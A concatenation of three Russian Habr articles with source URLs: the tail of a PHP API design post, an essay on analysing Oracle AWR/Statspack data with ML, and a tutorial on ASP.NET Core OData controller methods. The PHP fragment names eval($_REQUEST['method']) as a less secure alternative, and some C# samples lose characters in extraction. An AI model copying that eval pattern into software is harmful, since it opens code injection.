Если ID (12345), к которому прикрепляется сообщение, является новым топиком- тогда мы используем одну функцию, добавляя это сообщение, как топик. Если ID является комментарием пользователя, тогда мы используем совсем другую функцию, которая прикрепляет комментарий к нему.
Затем, простым добавлением библиотеки, можно сделать добавление комментариев в чём угодно, например к картинкам, к личным сообщениям (если друг имеет ID, который не пересекается с другими топиками, комментариями) итд.
Метод return\_topic тоже работает так-же. Если ID топика, тогда мы возвращаем топик с комментариями. Если это ID комментария — то только комментарий с его вложениями. Тоже самое можно сделать и для использования картинок, музыки и всего, чего душе угодно.
Возврат ошибок, кстати, тоже возможен — используя, например 'ERROR', в который просто добавлять ошибки. При нескольких ошибках он будет выглядеть примерно так:
{«ERROR»:[«Не достаточно знаков»,«Не присутствует заголовок», итд]}.
### P.S.
Можно, конечно, сделать и *eval($\_REQUEST['method'])*, но рассмотренный мною способ является более надежным в плане безопасности. :) | https://habr.com/ru/post/28464/ | null | ru | null |
# А какой подход у вас к обработке awr|statspack-данных?
Здравствуйте.
#### Пролог.
Есть пара вопросов, которые уже много лет любопытно уточнить у причастной общественности.
Но. В моём болотистом-низменном крае — и людей в теме: мало и обстановка в ит-направлении, на большинстве предприятий, не способствует. Вот, поэтому, попробую с помощью хабра удовлетворить своё любопытство. Вопрос касается подхода к обработке awr|statspack-данных, по наблюдаемой-поддерживаемой oracle-бд.
Итак к сути.
#### Завязка
Речь идёт о разборе кейсов с деградацией продуктивности субд и/или аномалиях в потреблении каких то ресурсов, в/для работы субд. В общем случае, тут, конечно, может быть много каких факторов и дело в лёгкую может дойти до рассмотрения всяких ханганалайз, системстейт, эвент трейсов. Я подразумеваю либо начало разбора кейсов, когда работа идёт с более менее широко употребимыми средствами-инструментами анализа состояния субд. Либо такие кейсы в которых подробное рассмотрение работы кода субд не требуется, т.е. факторы инцидента — устанавливаются без использования чего нибудь, вроде `oradebug`;
Ну. Т.е., это факторы типа: `а у нас сроки, нам нада, мы запустили скриптик`;
По моему впечатлению, классика жанра, в обработке awr-данных: это рассматривание awr-отчётов. Смотрят awr-отчёты: не просто так, по какой то потребности. Потребность эта, всегда, происходит от работы (или не работы) сопровождаемой субд. Ну и соответственно: смотрят с определённым целеполаганием — понять, чем обусловлена вот такая работа (или не работа) наблюдаемой субд.
Кроме простых awr-отчётов есть ещё `compare period` awr-отчёты. Ну. Бывает так что у людей: SE и диагностик-пака нет, тогда: статспак, как вариант и у него — тоже есть отчёты. В результативности такого подхода к анализу каких то изменений в состоянии субд, один из критично важных пререквайремент-ов: это степень понимания oracle-субд, как системы обслуживания скл-команд, того кто занимается этим рассмотрением.
Ну т.е.: насколько достаточно этот человек понимает какие и как срабатывают механизмы субд, при обслуживании ей поступающего на неё потока скл-команд. Какие события (`event` в терминах oracle-субд) возникают при работе какого то мех-ма. Какими каунтерами активности (`statistic` в терминах oracle-субд) описывается работа какого то мех-ма субд.
Он должен так же понимать: какие временные затраты на обработку каких либо событий, в каком то мех-ме данной oracle-субд, имеют место быть, в типовом состоянии этой субд. Какая (в количественном смысле) активность выполняется, в работе того или иного мех-ма субд.
Ну, то есть: OWI-based тюнинг методология + понимание эвентов, статистик, параметров субд + понимание взаимодействия субд с ОС-ью — маст-хв. Ибо. Если такого понимания нет, в достаточной полной мере, углядеть аномалию, понять факторы которые её вызывают, сориентироваться что с ними (с факторами этими) делать и до каких пор делать — ну человек не сможет. Офкоус: oracle (и не только oracle) как вендор постоянно говорит и что то делает для достижения такого эксплуатационного свойства своих субд как `zero administrative level`; Ну вот `addm` например есть — оно из этой оперы. Однако же — не всегда, оно, говорит что либо про причины какого то инцидента/аномалии, оно больше говорит про то — что с этим делать. Насколько точно говорит и насколько адекватно: это вопрос отдельный.
К чему я это всё. С одной стороны: понимание работы мех-мов/подсистем субд нужно для того чтобы разглядывая какой нибудь awr-отчёт, как врач — данные анализов, быстро смекнуть — что ещё надо посмотреть/проверить. Это первое.
Второе: кроме достаточно полного понимания работы субд, как сервисного механизма, надо располагать ещё одной информацией про рассматриваемую субд — какой у неё бейзлайн. Ну или по другому сказать — какая она, в своём нормальном состоянии. Сколько у неё, в этом самом нормальном состоянии, вот этих самых — временных затрат, различных активностей.
А нельзя ли как то бы, чем то бы так чтобы и бейзлайн показывало, и про взаимосвязи — тоже что нибудь говорило, содержательное и побыстрее и понимания в субд — поменьше требовало. Вот, собственно, про мои вопросы.
Тут, отскакивая в сторону, оговорюсь: нормальное состояние субд это, конечно, понятие дискутируемое, надо бы тут уточнить что я имею в виду. Строго говоря (и, увы, в идеальном мире), однозначное формальное определение нормального состояния (ну, в смысле — работы) субд берётся не волюнтаристским решением кого то там.
Всё происходит от требований проекта, к функционалу-продуктивности сервиса и, соответственно — к его серверной инфр-ре, частью которого является субд. Соответственно при отстройке-запуске проекта — делается, в частности, ПСИ, в рамках которого делается нагрузочное тестирование и вымеряется: а действительно ли, вот то что по проекту отстроили — оно позволяет выполнять требования ТЗ, на работу сервиса.
Ну и если: да — позволяет/выполняет, тогда можно рассматривать — рабочие показатели компонент серверного ландшафта, в частности — субд, под заданной, по ТЗ, нагрузкой и из них выводить конкретику: правила и условия — что считаем нормой. Тут я умышленно обтекаемо выражаюсь: выводить, чтобы сильно не углубляться в процесс вывода норм технической эксплуатации серверной инфр-ры проекта.
Т.е.: я тут хочу сказать, по существу, что, по идее, вот это понятие: "нормальное состояние субд" — это не должна быть какая то отсебятина. При нормальном запуске проекта у неё не может не быть формального определения. Со всеми, от него происходящими, организационно-техническими последствиями — правилами мониторинга, зонирования инцидентов, правилами ресурсных/архитектурных работ с ростом нагрузки и т.п.
В рамках данной статьи, предлагаю считать нормальным состоянием субд: такое её состояние при котором, считается, что субд обслуживает информационные сервисы, с ней работающие — приемлемо. Ну, по рабоче-крестьянски выражаясь: когда жалоб нет, на работу субд.
При этом, все понимают, что фактическое состояние субд, даже в рамках нормальной её работы: может меняться по ряду причин. Ну. Например: ночью запускаются кронтаб-таски по физическому/логическому резервированию, а днём их нет. Ночью работают репорт-задачи, какие нибудь etl-и, ещё что то там такого плана. А пользователи — ночью спят, в основной массе своей. Зато днём — работают. Т.е. состояние субд — может быть существенно разным, в смысле профиля нагрузки, задействованных механизмов субд, степени их активности.
И тут тогда вопрос — а что такое бейзлан субд, это что именно: чего и сколько, становится открытым. А какой то один, же awr|статспак-отчёт, за конкретный период времени: он, ну, он описывает состояние субд — в этот момент времени, не более того. Т.е., ну, да: может быть известно что в этот момент времени в субд — была какая то аномалия. А в чём она именно выражается, насколько (и в чём) это отклонение от нормы — вопрос открытый.
Безусловно: никто не запрещает построить N отчётов и начать их просматривать. Да, тут, в итоге — может сложится достаточно полное представление о том что там, в этой субд, в норме и что такое была какая то аномалия. Но. Это же долго и непросто.
"Тут критик воскликнет: здесь всё в чёрном цвете, ведь есть… " EM-консоль, есть EMGС. Да. Есть. А так же есть аналоги, более-менее платные-проприетарные: всякие спотлайты, спвьюверы и т.п. Тоже могут рисовать всякие красивые графики, раскладки сервисного времени субд, дриллинг-даун классов ожиданий, ash-визуализация и даже тот же бейзлайн-субд могут определить и относительного него показывать изменения. Алерты, графики заданных эвентов/каунтеров за заданный период времени — это всё да, есть. Но опять же:
1. достаточно полное знание субд — оно не отменяет. Оно, в отношении типовых операций со стат-данными по работе субд — упрощает жизнь. Для чего то не типового — надо разбираться и настраивать инструмент. Ещё вопрос — позволяет ли оно то что от него может захотеться.
2. Сам по себе инструмент — чего то требует. И я тут даже не столько о деньгах. Например та же em-консоль: это ява-сервлет, который запускается из недо jvm в `ORACLE_HOME` и работает с субд — т.е. отправляет ей данные и получает от неё данные. Часто в xml-формате. Часто бывает так что базейка с этим ява-сервлетом — ну вот не могут они прямо сейчас пообщаться. И кто то из них, кому то, приготовил NГигабайт этих xml-ек. Потом начинается обработка этого объёма данных со всеми сопутствующими эффектами — жор цпу, пейджинг-сваппинг, занятие дисковой ёмкости под эти xml-ки, ротирование их.
Ну т.е.: есть своя область применимости, у этих инструментов. И моё мнение — не очень то широкая, не очень то для общего случая.
Так вот, возвращаясь к вопросам. К чему я подвожу, этим лонгридом.
#### Кульминация
1. В общем случае: работа с одними awr|статспак-отчётами — не провайдит контекст состояния субд. Т.е. если возникает какой то инцидент/аномалия, в работе субд, хотелось бы (да что там: нужно) понимать — оно относительно чего: инцидент/аномалия. Т.е. норма — она какая.
2. Контекст можно посмотреть в чём нибудь типа em-консоли. Но с оговорками. Надо чтобы оно — было и работало. Надо чтобы были сами данные, которые средство будет отображать. А их может и не быть, ну вот нет диагностик-пака, нет awr-репозитория, нет долговременного сбора-хранения данных базой саму про себя — что, как, сколько чего в ней делается/не делается. Ну и всё. Значит ставить статспак например и прикручивать к нему — либо что то самописное, либо какой нибудь [spviewer](http://www.spviewer.com/dbtrends.html). В обоих случаях — вопросец: а что и как оно может/не может и за какие затраты, ресурсные/временные.
3. Ну и эти, самые, взаимосвязи. Анализ то есть. Куда смотреть то, что как понимать, чтобы факторы аномалии, в работе субд, раскопать. Хинты бы какие, подсказки, а лучше прямые указания и чтобы побыстрее и поменьше экспертизы в субд требовало.
Про контекст. Тут, вроде как, всё просто. Что awr-репозиторий, что статспак: это просто набор таблиц. Ну. В случае awr-а: вендор, вполне резонно, предлагает пользоваться не именно таблицами, а `DBA_HIST_*` представлениями.
Хотя и если очень хочется, то можно запрашивать на напрямую `SYS.WRH$_*` таблицы; Суть в том что: вполне себе пишутся-нарабатываются sql-скрипты, которыми можно опросить таблицы awr, или статспак-репозитория и получить данные для OWI-анализа субд. Т.е., ту же картинку-график которую рисует, например, em-консоль, про структуру сервисного времени субд, про стуктуру временных затрат на классы ожиданий, по структуре временных затрат на эвенты внутри классов ожиданий, по профилю нагрузки, по ОС-статстистике (`dba_hist_osstat`) и прочие запросики.
Дальше визуализировать, данные от этих запросов, каким больше нравится способом. Хоть питоном, хоть в заббикс засунуть, хоть в прометеус, хоть в эксель — кому как больше нравится/удобно/можно. И вот получается, практически такое же, как в той же em-консоли, представление информации о состоянии субд.
Дальше, уже поглядывая на графики и видя — где аномалия, где не аномалия, можно изучать, предметно, состояние субд, ну допустим теми же awr|statspack-репортами. Вот тут первый вопрос. Складывается такое впечатление, рассмотрение субд делается практически исключительно через работу с awr|statspack-отчётами, или с чём то типа em-консоли (чаще всего в ней). Любопытно — почему так, ну: не удобно же, затратно-долго (см. пропозиции выше).
Про эксель, кстати. На гитхабе есть проект который генерирует такой отчёт: [oracle-awr-report](https://github.com/dvodop/oracle-awr-report). Ну. Why not, как говорится. Скачал, проектик `cmod u+x oracle-awr-report.py`, отsed-ил конфиг и всё — генерит репорт по какой надо бд.
Кастомизируется как угодно, питон же.
Т.е. чего народ вот такого рода утилками не пользуется, не у всех же emgc, для `at a glance` ознакомления с состоянием субд, через графики;
Второй момент, про анализ рассматриваемых данных, всех или какой то их части. Тут, на примере, попробую пояснить. Предположим такую обстановку: есть и работает стандалон-субд, на сервере субд. Кроме субд — на этом сервере больше нет ничего, в смысле приложений/сервисов. Т.е.: ресурсное потребление на сервере — это только субд, больше нечему. Субд работает в нормальном режиме (в смысле определённом выше) и тут — прилетает вот такое:
*график 1*
При этом `dmesg`, алерт-лог субд — не показывают никакого криминала: ошибок нигде никаких нет. Ворклоад субд, в смысле набора инфосистем, сервисов работающих с субд, набора скл-команд которые они отправляют в субд, режима выдачи этих скл-команд в субд (в смысле настроек скл-сессий, скл-клиентов, значений биндов) — не менялся. Могла поменяться например интенсивность выдачи скл-команд. Настройки субд/ОС-и, программное обеспечение субд/ОС-и, ресурсное обеспечение сервера субд, серверная инфр-ра: не менялась.
Ну и, конечно же, с графиком, поступает лидерский вопрос: `а что это оно? А то вот скоро период наибольшей нагрузки: проблем не будет?`.
Ну, конечно: первое что приходит в голову: посмотреть — а что, какие скл-команды создают потребление цпу. Ну. В той же em-консоли — есть возможность сделать дрилл-доун в график цпу-потребления и выйти на информацию по конкретным скл-командам.
Или, как вариант, можно запросить данные в `sys.dba_hist_sqlstat`. Для начала, хотя бы просто сгруппировать потребление цпу-времени, всеми скл-статементами, по каждому awr-снашоту. Тут получается такая картина:
Да, конечно, тут по Y-оси данные: не в процентах утилизации, как на картинке из заббикса. Тут данные в единицах процессорного времени, какие они там, в `sys.dba_hist_sqlstat`, постоянно забываю. Но не суть, суть в том — что вроде как нет такой же динамики, ну вот так чтобы — прямо очевидно/не дискутируемо было. При этом, если в этой же бд спросить данные в `sys.dba_hist_osstat`, то получится та же картинка, что и в заббиксе:
*график 2*
Ну. И что это значит: что и почему ест цпу-время и как это искать, например awr|statspack-отчётами, или чем то типа em-консоли. Причём, очень желательно — быстро, ну порядка получаса.
И не затратно, чтобы не особо включать голову, ну или включать но в другое время и разово.
Тут можно привлечь алгоритмы машинного анализа данных, к расследованию аномалии.
Само расследование можно провести по двум направлениям. Первый вариант: раз априорно известно что именно и только субд потребляет ресурсы сервера субд и, судя по всему — это не какой то баг, а именно последствия от обработки пользовательскими скл-командами табличных данных — ну, таки копнуть: а всё таки — есть/не есть такой сабсет скл-команд, у которого потребление процессорного времени — больше всего похоже на то что наблюдается по `sys.dba_hist_osstat`. Данные по статистике работы скл-команд: есть в `sys.dba_hist_sqlstat`
Копнуть можно по разному, для поиска такого сабсета скл-команд. Один из вариантов: векторизация и метрики расстояния между векторами — евклидово расстояние, косинусная мера.
Т.е.: вот та кривая потребления процессорного времени в user-моде, которую видно на *график 2*: это пос-ть значений, полученный на данных из таблицы `sys.dba_hist_sqlstat` — сколько, на момент какого то конкретного awr-снапшота (на конкретный `snap_id`) было потреблено цпу-времени — цифра. Т.е.: это набор цифр, т.е.: вектор. Можно получить такой же набор цифр по каждому конкретному скл-статементу, описанному в `sys.dba_hist_sqlstat` — сколько этот скл-статемент потребил цпу-времени (`sys.dba_hist_sqlstat.cpu_time_delta`) на момент времени какого то конкретного awr-снапшота (на конкретный `snap_id`).
Если, когда то, этот скл-статемент — ничего не потреблял, обозначить это нулём. Т.о.: по каждому скл-статементу: можно получить пос-ть цифр, по тому же набору awr-снапшотов, т.е.: вектор, той же длинны, что и вектор с данными по общесистемному потреблению цпу-времени. Ну. Понятно — я подразумеваю что данные — всегда упорядочены по возрастанию `snap_id` awr-снапшотов. Дальше: дело техники.
Вот у нас есть вектор полученный на данных от `sys.dba_hist_osstat`, ну, назовём его, условно, — главным. И вот есть вектора, про ту же величину (цпу-потребление) по каждому скл-статементу. Вот для каждого вектора, соотв-го какому то скл-ю: вычисляем расстояние, от этого вектора, до главного вектора и упорядочиваем вектора, по скл-ям, по возрастанию расстояния. Top-N векторов с минимальной метрикой (расстоянием), от главного вектора, и будут бест-сабстетом.
Причём вектора (все, и эталонный и с ним сравниваемые) можно нормировать на 1-цу. И вычислять расстояние уже между нормированными векторами. Тогда это будет мера подобия в смысле, ну, если так можно выразиться — временного профиля потребления цпу-времени, данным скл-ем. Без нормировки дистантная метрика будет тем меньше чем больше данный вектор (ну, в прикладном смысле — данный скл) походит на общесистемное цпу-потребление не только качественно (в смысле динамики потребления цпу во времени) но и количественно. Есть и другие алгоритмы, подходы — как найти бест-сабсет.
Генетика, про которую говорил в [прошлой своей заметке](https://habr.com/ru/post/518736/);
[rFSA-пакет](https://rjournal.github.io/archive/2018/RJ-2018-059/RJ-2018-059.pdf), если говорить про `cran-r`
Attribute-importance анализ.
Если так и сделать, т.е. найти такой бест-сабсет, в смысле степени подобия характера и кол-ва потребления цпу-времени, скл-командами сабсета к общесистемному цпу-потреблению, то, в данном-конкретном кейсе, окажется, что всё в их работе, до и после аномалии — одинаково, за исключением двух характеристик. Ну, одна из них, понятно, цпу-потребление, а вторая:
*график 3*
Всё остальное: кол-во выполнений/ед. времени, кол-во обработанных строк/ед. времени, кол-во парсов/ед. времени, версий, фетчей, чтений-запсей — практически без изменений.
Ну. Это уже вполне себе явное указание — что случилось в субд. Но для полноты картины: пройдёмся по второму варианту разбора. Можно применить другой анализ данных. Динамику метрики: user-потребление цпу-времени, на уровне всей субд, можно попробовать объяснить каунтерами активности субд, как предикатами (в лит-ре ещё используют термин — атрибуты). Т.е.: выполнить attribute-importance анализ и найти те предикаты-атрибуты которые наиболее сильно влияют на значение метрики.
Данные по статистикам субд: `sys.dba_hist_stat_name`, `sys.dba_hist_sysstat`. Делаем (cran-r пакетом `randomForest`) такой анализ данных, получаем ответ:
Ну, вполне себе явно видно кластер из 5-ти точек в верхнем правом квадранте и что это за статистики. Графики этих статистик:
*график 4*
Ну. Оба варианта указывают, с разной степенью определённости, что происходит: в системе. Есть, в этой бд, некоторое подмножества скл-команд, которые, вдруг, стали читать мутирующие табличные данные. А базе, по этому поводу, приходится обеспечивать им CR-чтения. Т.е., контрольный в голову: мы тут должны увидеть, в этой субд, ровно такую же, во времени, динамику по блокчейнджам. При этом надо будет найти бест-сабсет по сегментам данных — которые в наибольшей мере определяют/объясняют эту динамику субд, по блокчейнджам. Данные по работе субд с сегментами данных: `sys.dba_hist_seg_stat`.
Графики:
*график 5*
Ну. Понятно — на правом графике, тут условное обозначение, а в оригинале — номера объектов бд.
Дальше уже дело техники: по номерам объектов вычислить имена объектов бд. Уточнить, в `sys.dba_hist_sqltext` — `sql_id`скл-статементов, которые с ними работают, причём потребовать чтобы это были не селекты и не плскл-статементы (условие на поле `COMMAND_TYPE`).
Дальше показать, с помощью данных из `sys.dba_hist_sqlstat` что — да, эти скл-и начали: и чаще выполняться и обрабатывать больше строк. Дальше находятся инфосистемы, откуда приходят эти скл-и, ответственные, запускаются-выполняются организационно-административные процессы, назовём их так.
Так вот, я о чём. При наработанных скриптах: вот такой анализ — делается за полчаса времени, с чаем и перекурами. При этом: обращаю ваше внимание — экспертиза в собственно субд, потребовалась на самом последнем шаге. Когда, от информации выданной от attribute-importance анализа стало нужно проинтерпретировать связь значимых каунтеров активности субд, имея в виду их семантику и объясняемой, статистиками базы, метрики — цпу-потребление базы. Т.е. вот тут и разово может потребоваться условный миддл/сеньёр дба. А остальные действия по обработке данных вполне себе может делать джун-дба.
Ну и вот, не наблюдаю, в интернетиках, в товарных кол-вах, статей, примеров, наработок каких то на использование алгоритмов ml-обработки данных для прикладного разбора инцидентов с продуктивностью/ресурсным потреблением в работе субд. И вот в этом второй вопрос: почему так. Ведь вот — оно реально экономит время, не требует, каких то там сред/средств особых, достаточно например питона/cran-r; Ну. Данные ещё нужны, это да, про это чуть ниже.
Про алгоритмы ml-сейчас — из каждой электророзетки вещают, в т.ч. и по русски. И на [питоне](https://www.youtube.com/watch?v=enpPFqcIFj8&list=PLlb7e2G7aSpRb95_Wi7lZ-zA6fOjV3_l7). И на [cran-r](https://www.youtube.com/watch?v=8mwJ3mEjdIg&list=PLlb7e2G7aSpSSa_PlFEwnd6-3gzAa08_m); И [с уклоном в теоретическую часть](https://www.youtube.com/channel/UCgGADKKGalfwSNbpSyM5ryg) и сколько угодно примеров на работу с данными с конкретными пакетами-модулями. И: практически ничего нет, в отношении прикладного использования этого аппарата численных методов, в прикладных целях, для рассмотрения изменений состояния oracle-субд. Вот любопытно: `why so`.
#### Финал и эпилог
Про авр/статспак данные: как их копить и где. В самой, исходной субд — лучше не увеличивать период времени удержания до каких то больших времён. Что такое — больших времён, это вопрос дискутируемый.
Проблематика в том что объём awr|статспак данных — пропорционален, кроме величины периода удержания, кол-ву разных скл-команд, поступающих в субд, кол-ву объектов субд. Ну и если база общецелевая, или тем более ad-hoc запросы приходят, часто/много (аналитика какая то): объёмы будут бодро стремится к бесконечности. Это тормознёт работу mmon-а и/или его слейвов, т.е. сбор новых авр-снашпотов, ротирование старых авр-снапшотов. А так же будет создавать новые проблемы, ну кроме дисковой ёмкости под хранение awr-данных. Например тормознётся работа какого то адвайзера, который работает с `sys.WR[IHM]_*` таблицами-индексами, или может обнаружится нежданчик при апгрейде — если окажется что там структура таблиц/индексов awr-репозитория должна поменяться, а там данных на много десятков/сотен гигабайт.
Стандартное вендорское решение: awr-варехауз. Ну. Имеет место быть. В зависимости от потребностей/возможностей работы с авр/статспак данными, возможно, будет достаточно вынимать из субд авр/статспак данные, складывать их куда то, успешно выложенные данные — ротировать в бд. Куда именно, ну зависит от того что есть и что потом и как нужно делать с этими данными. Как вариант, если часто и достаточно оперативно работать с выложенными данными не надо: файлохранилка, хдфс, ceph. Ну и, туда же: atop-логи, если есть.
Хранить стат-данные по работе субд, сервера субд, а в идеале — по всей серверной инфр-ре продового сревиса, надо, в общем случае, много для чего. Ну. К примеру: вдруг понадобится вывести факторы, значимо влияющие на время выполнения какой либо бизнес-операции в сервисе. Вот, взять данные по, например среднему, или медианному, времени выполнения этой бизнес-операции. И объяснить её, статистиками среды обслуживания.
А потом вывести модель зависимости времени выполнения бизнес-операции, от найденных значимых (для неё факторов). Получить из стат-массива данных по состоянию инфр-ры — тренды, для факторов. И уже можно будет говорить, вот у нас модель зависимости, вот у нас рост какой параметров модели, вот за пределы допусков выйдем тогда то и потому то.
Спасибо за ваше внимание, время, спокойной работы, хорошей зарплаты. | https://habr.com/ru/post/519924/ | null | ru | null |
# Реализация Web API OData в ASP.NET Core 3 и ASP.NET 5 (часть 2). Методы контроллера
[В первой части статьи](https://habr.com/ru/company/alfastrah/blog/568414/) я рассказал о том, как в «АльфаСтрахование» была реализована OData API на .NET Core с использованием EF Core. В этой статье я коснусь реализации методов контроллера для одной из моделей.
Как правило, статьи по реализации API OData на .NET Core содержат всего пару примеров – получение всех сущностей и получение одной сущности по ее ID. Я же хочу дать больше образцов кода для написания методов, которые позволяют осуществлять основные манипуляции с данными в рамках требований OData.
Общее описание маршрутизации запросов OData
-------------------------------------------
Пакет Microsoft.AspNetCore.OData версии 8 включает в себя 10 встроенных соглашений маршрутизации. Эти соглашения определяют, какому действию контроллера будет сопоставлен тот или иной запрос. Ниже даны примеры реализации методов контроллеров для выполнения основных манипуляций с данными в рамках этих конвенций. Эти примеры требует адаптации к реальному приложению, выделения логики из контроллеров в другие сущности, однако дают понимание логики того, как работает стандартный роутинг.
Приведенные методы извлечения данных (Get) при запросе элемента с несуществующим идентификатором возвращают успешный ответ, обработанный OData. В то же время, методы модификации данных (Post, Patch, Put, Delete) при отправке некорректных данных выбрасывают исключения, поэтому в указанные методы в реальном проекте может потребоваться включить дополнительные проверки и отлов исключений.
При использовании встроенных конвенций нет нужды использовать атрибуты контроллеров или методов, кроме [EnableQuery], который позволяет осуществлять манипуляции с результатом действия с помощью операторов OData ($select, $filter, $expand и др.). Эти операторы в явном виде задаются при вызове services.AddOData() в Startup.cs.
Возьмем запрос для примера:
`GET http://localhost:61268/odata/UsingSystems(1)/UploadTemplates?$select=Name`
По умолчанию, в пути запроса выделяются 3 части: Service Root (<http://localhost:61268/odata>), путь OData (UsingSystems(1)/UploadTemplates) и параметры запроса с операторами (?$select=Name).
Первая часть пути OData - имя контроллера, который будет искать механизм маршрутизации - UsingSystemsController. Поиск нужного действия метода в контроллере осуществляется исходя из типа запроса (GET запрос ищет метод с названием, начинающимся на Get). В случае наличия ИД или ключа для поиска (1 в нашем примере), механизм маршрутизации будет искать метод с входным параметром key.
Если определено 2 ключа, например, UsingSystems(1)/UploadTemplates(2), будет найден метод с параметрами key и relatedKey. Наконец, наличие имени свойства в пути (UploadTemplates) укажет механизму на то, что нужно искать метод с названием GetUploadTemplates или GetUploadTemplatesFromUsingSystem. Таким образом, указанному пути будет сопоставлен метод GetUploadTemplates(T key) в UsingSystemsController.
Библиотека Microsoft.AspNetCore.OData также позволяет создать свои конвенции, либо вручную сопоставлять пути, контроллеры и их действия при помощи атрибутов.
Получение записей справочника (EntitySetRoutingConvention)
----------------------------------------------------------
Данный метод прост в реализации и позволяет считывать данные справочники с помощью операторов OData – параметров запроса к API. От вас требуется лишь вернуть IQueryable требуемого типа, причем сделать это можно несколькими способами. Наиболее удобный лично для меня:
```
[EnableQuery]
public IActionResult Get()
{
return Ok(_dbContext.UsingSystems);
}
```
Пример запроса:
`GET http://localhost:61268/odata/UsingSystems`
OData вернет клиенту все свойства, кроме навигационных. Для того, чтобы увидеть навигационное свойство, его нужном в явном виде включить в запрос с помощью оператора $expand, например,
`GET http://localhost:61268/odata/UsingSystems?$expand=UploadTemplates`
а также явно включить это свойство в возвращаемый объект в контроллере:
```
[EnableQuery]
public IActionResult Get()
{
return Ok(_dbContext.UsingSystems
.Include(x => x.UploadTemplates));
}
```
Получение записи по ID (EntityRoutingConvention)
------------------------------------------------
Данный способ позволяет обращаться к одной записи справочника по ее идентификатору (тип идентификатора может быть целочисленным либо строковым), оставляя возможными дополнительные действия через параметры запроса. Ниже приведена его реализация с возможностью $expand для свойства UploadTemplates:
```
[EnableQuery]
public IActionResult Get(long key)
{
return Ok(_dbContext.UsingSystems
.Where(x => x.Id == key)
.Include(x => x.UploadTemplates));
}
```
У меня данный метод корректно заработал только после того, как я назвал параметр «key». Примеры запросов:
`GET http://localhost:61268/odata/UsingSystems(1)`
`GET http://localhost:61268/odata/UsingSystems/1`
Получение свойства записи по ID (PropertyRoutingConvention)
-----------------------------------------------------------
Данный метод, аналогично предыдущему, позволяет обратиться к конкретной записи справочника, но, в отличие от него, возвращает значение выбранного свойства. Для каждого свойства требуется написать отдельный метод контроллера. Ниже приведены примеры вызова для обычного свойства и для навигационного.
Примеры запросов для обычного свойства:
`GET http://localhost:61268/odata/UsingSystems(1)/Description`
`GET http://localhost:61268/odata/UsingSystems/1/Description`
```
[EnableQuery]
public IActionResult GetDescription(long key)
{
return Ok(_dbContext.UsingSystems
.Where(x => x.Id == key)
.Select(x => x.Description));
}
```
Примеры запросов для навигационного свойства:
`GET http://localhost:61268/odata/UsingSystems(1)/UploadTemplates`
`GET http://localhost:61268/odata/UsingSystems/1/UploadTemplates`
```
[EnableQuery]
public IActionResult GetUploadTemplates(long key)
{
return Ok(_dbContext.UsingSystems
.Where(x => x.Id == key)
.Select(x => x.UploadTemplates));
}
```
При наличии в справочнике связи один-ко-многим, навигационное свойство представляет собой не List, а одиночный объект. В этом случае возможна модификация вышеприведенного метода для приема запроса вида:
`GET http://localhost:61268/odata/UsingSystems(1)/SystemOwner/Name`
В этом случае, по соглашениям маршрутизации, следует назвать метод GetNameFrom SystemOwner(key).
Создание записи
---------------
Для создания новой записи следует отправить следующий запрос:
`POST http://localhost:61268/odata/UsingSystems`
В теле запроса необходимо передать JSON структуру создаваемого объекта, например:
```
{
"Id": 0,
"Name": "test_add_sys",
"Description": "Тестовая система для добавления"
}
```
В качестве первичного ключа передается дефолтное значение. В [документации OData](https://www.odata.org/getting-started/basic-tutorial/) говорится о том, что в ответ необходимо вернуть созданный объект. В примере ниже в возвращаемый объект при сохранении изменений в контексте БД записывается идентификатор, присвоенный при добавлении. Атрибут [EnableQuery] используется для того, чтобы сделать возможным манипуляции с созданным объектом средствами OData, например, вернуть клиенту только ID запросом
`POST http://localhost:61268/odata/UsingSystems?$select=id`
Для возвращения результата используется метод Created (201), который возвращает URI, передаваемый клиенту в заголовке Located, и созданный объект, передаваемый в теле запроса.
```
[EnableQuery]
public IActionResult Post([FromBody] UsingSystem usingSystem)
{
_dbContext.Add(usingSystem);
_dbContext.SaveChanges();
return Created($"{HttpContext.Request.GetDisplayUrl()}({usingSystem.Id})", usingSystem);
}
```
Удаление записи
---------------
Для удаления записи используется следующий запрос:
`DELETE http://localhost:61268/odata/UsingSystems(1)`
`DELETE http://localhost:61268/odata/UsingSystems/1`
Поскольку [документация OData](https://www.odata.org/getting-started/basic-tutorial/) не предусматривают возврата чего-либо в теле ответа, атрибут [EnableQuery] здесь использовать бесполезно. В соответствии со стандартом, при успехе возвращается код 204 (No Content):
```
public IActionResult Delete(long key)
{
var entity = _dbContext.UsingSystems
.FirstOrDefault(x => x.Id == key);
_dbContext.Remove(entity);
_dbContext.SaveChanges();
return NoContent();
}
```
Изменение записи
----------------
Документация OData требует обязательной реализации метода модификации PATCH, а возможность реализации метода PUT оставляет на усмотрение разработчика. Соответственно, примеры запросов:
`PATCH http://localhost:61268/odata/UsingSystems(1)`
`PATCH http://localhost:61268/odata/UsingSystems/1`
`PUT http://localhost:61268/odata/UsingSystems(1)` (опционально)
`PUT http://localhost:61268/odata/UsingSystems/1` (опционально)
Согласно [документации OData AspNet WebApi V7](https://docs.microsoft.com/en-us/odata/webapi/built-in-routing-conventions), в теле запроса PATCH передается неполный объект, содержащий только модифицированные свойства, например:
```
{
"Description": "Изменение"
}
```
В отличие от PATCH, метод PUT предполагает передачу полного объекта:
```
{
"Id": 2,
"Name": "test_add_sys",
"Description": "Тестовая система для изменения"
}
```
В данном примере реализованы оба метода. Обновление существующей записи производится через объект Microsoft.AspNetCore.OData.Delta, но во втором случае приходится создавать его самостоятельно:
```
public IActionResult Patch(long key, [FromBody] Delta delta)
{
var entity = \_dbContext.UsingSystems
.FirstOrDefault(x => x.Id == key);
delta.Patch(entity);
\_dbContext.SaveChanges();
return NoContent();
}
public IActionResult Put(long key, [FromBody] UsingSystem usingSystem)
{
var delta = new Delta();
delta.TrySetPropertyValue(nameof(usingSystem.Name), usingSystem.Name);
delta.TrySetPropertyValue(nameof(usingSystem.Description), usingSystem.Description);
var entity = \_dbContext.UsingSystems
.FirstOrDefault(x => x.Id == key);
delta.Patch(entity);
\_dbContext.SaveChanges();
return NoContent();
}
```
Для обновления связей объектов, т.е. навигационных свойств, данный метод использовать нельзя. В случае передачи навигационного свойства в теле запроса, в параметр дельты придет null c возможным выбросом NullReferenceException.
Манипуляции с навигационными свойствами
---------------------------------------
В этом подразделе я покажу примеры методов для манипуляций с навигационными свойствами для связи «многие-ко-многим», поскольку такой тип связи задан моделью. Методы для связей «один-ко-многим» могут быть получены путем исключения параметра relatedKey и внесения в код метода контроллера изменений, соответствующих вашей модели.
